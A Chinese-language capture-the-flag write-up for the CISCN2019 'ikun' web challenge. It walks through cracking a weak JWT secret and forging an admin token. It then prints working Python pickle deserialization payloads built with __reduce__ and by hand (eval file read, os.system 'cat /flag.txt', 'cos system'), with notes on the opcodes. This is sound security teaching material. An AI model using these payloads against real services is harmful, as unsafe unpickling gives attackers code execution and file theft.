題目
題爲[CISCN2019 華北賽區 Day1 Web2]ikun
題解
打開,看到這裏
看來要找到lv6,寫個小腳本:
#[CISCN2019 華北賽區 Day1 Web2]ikun,找lv6
import requests
url = "http://9592eed0-512a-4494-bedb-332fdf504447.node3.buuoj.cn/shop?page="
for i in range(0,2000):
r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print (i)
break
找到後,發現要求登陸,隨便註冊了一個號,然後登陸,購買,發現錢不夠:
抓包,發現了有趣的東西:
JWT我在之前的文章提到過,用base64解碼看看:
我們可以用JWT-cracker對加密的secret進行爆破。
爆破得到secret爲1Kun。
再去JWT僞造網站進行僞造:
發包:
看到302跳轉:
繼續抓包,修改JWT。
進入後,發現hint:
下載源碼,是py源碼。
在Admin.py處找到一處反序列化:
直接上大佬的反序列化腳本:
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
修改如下地方即可得到flag:
知識點
JWT
JWT全名爲json web token,由三段組成,這三段用點號連接,以這次的JWT看:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhYSJ9.Xjc37g2j_pU5SFHYwoPSHWJDEmRVPtfHkbFfGPcn4W0
- 第一段頭部(header)
這是一串base64,裏面記載的是加密算法和類型聲明,解碼後如圖:
- 第二段負荷(payload)
記載的信息一般分爲下面幾種:標準中註冊的聲明、公共的聲明、私有的聲明。上面的解碼如圖:
- 第三段簽證(signature)
這個部分需要base64加密後的header和base64加密後的payload使用.連接組成的字符串,然後通過header中聲明的加密方式進行加鹽secret
組合加密,然後就構成了jwt的第三部分。
這部分的secret如果偏簡單的話也可以通過工具爆破出來,就比如這一題。
想要更具體的解釋可以看這篇文章。
Python 序列化與反序列化
python的序列化和反序列化一般通過pickle模塊進行(也有json、messagepack等多種方式,但CTF常用pickle),序列化和反序列化的方法:
序列化
pickle.dump()或pickle.dumps()
Pickler().dump()
反序列化
pickle.load()或pickle.loads()
Unpickler(file).load()
pickle可以手擼,也可以用__reduce__
方法構造
手擼pickle
我先把指令集和手寫的基本模式貼在下面:
MARK = b'(' # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding
TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py
基本模式:
c<module>
<callable>
(<args>
tR
按照指令集和基本模式就可以直接整出來了。
舉個例子:
cos
system
(S'ls'
tR.
我們按照指令集分解一下:
cos
system
這部分按照指令集中的b'c'
來看,表示引入模塊和函數。由於該指令需要兩個字符串(一個爲模塊名,一個爲函數名),所以,接下來的兩個字符串用\n
當作分隔符和休止符,意義爲__import__(os).system
(S'ls'
b'('
表示將一個特殊標記對象壓入棧中,b'S'
表示接下來的內容爲一個字符串,在這裏我們輸入的字符串用\n
當作終止符。
tR.
這個最簡單,b't'
表示從最頂層堆棧項生成元組,b'R'
表示在堆棧上應用可調用的元組,b'.'
表示結束構造pickle。
也就是說這個指令等同於__import__('os').system(*('ls',))
__reduce__構造
這題的最後,大佬就是用了__reduce__
進行構造。這個構造的壞處只有一個:只能執行單一的函數,很難構造複雜的操作,不過這題我們一個足以。
這題我們改造一下它的腳本會得到一個相同的,但在這裏沒有用的腳本:
import pickle,os
import urllib
class payload(object):
def __reduce__(self):
return (os.system, ('cat /flag.txt',))
a = pickle.dumps(payload(),protocol=0)
a = urllib.quote(a)#進行URL編碼
print (a)
(沒有用是因爲源文件沒有os模塊)
這裏的protocol=0
又涉及到另一個小知識了:pickling 的協議
pickling 的協議
pickling 的協議共有 5 種:
v0 版協議是原始的 “人類可讀” 協議,並且向後兼容早期版本的 Python。
v1 版協議是較早的二進制格式,它也與早期版本的 Python 兼容。
v2 版協議是在 Python 2.3 中引入的。它爲存儲 new-style class 提供了更高效的機制。欲瞭解有關第 2 版協議帶來的改進,請參閱 PEP 307。
v3 版協議添加於 Python 3.0。它具有對 bytes 對象的顯式支持,且無法被 Python 2.x 打開。這是目前默認使用的協議,也是在要求與其他 Python 3 版本兼容時的推薦協議。
v4 版協議添加於 Python 3.4。它支持存儲非常大的對象,能存儲更多種類的對象,還包括一些針對數據格式的優化。有關第 4 版協議帶來改進的信息,請參閱 PEP 3154。
使用的協議越高,需要的python版本就得越新。
參考文章:Python pickle 反序列化實例分析
想更加了解python的魔術方法可以看這個:python魔術方法指南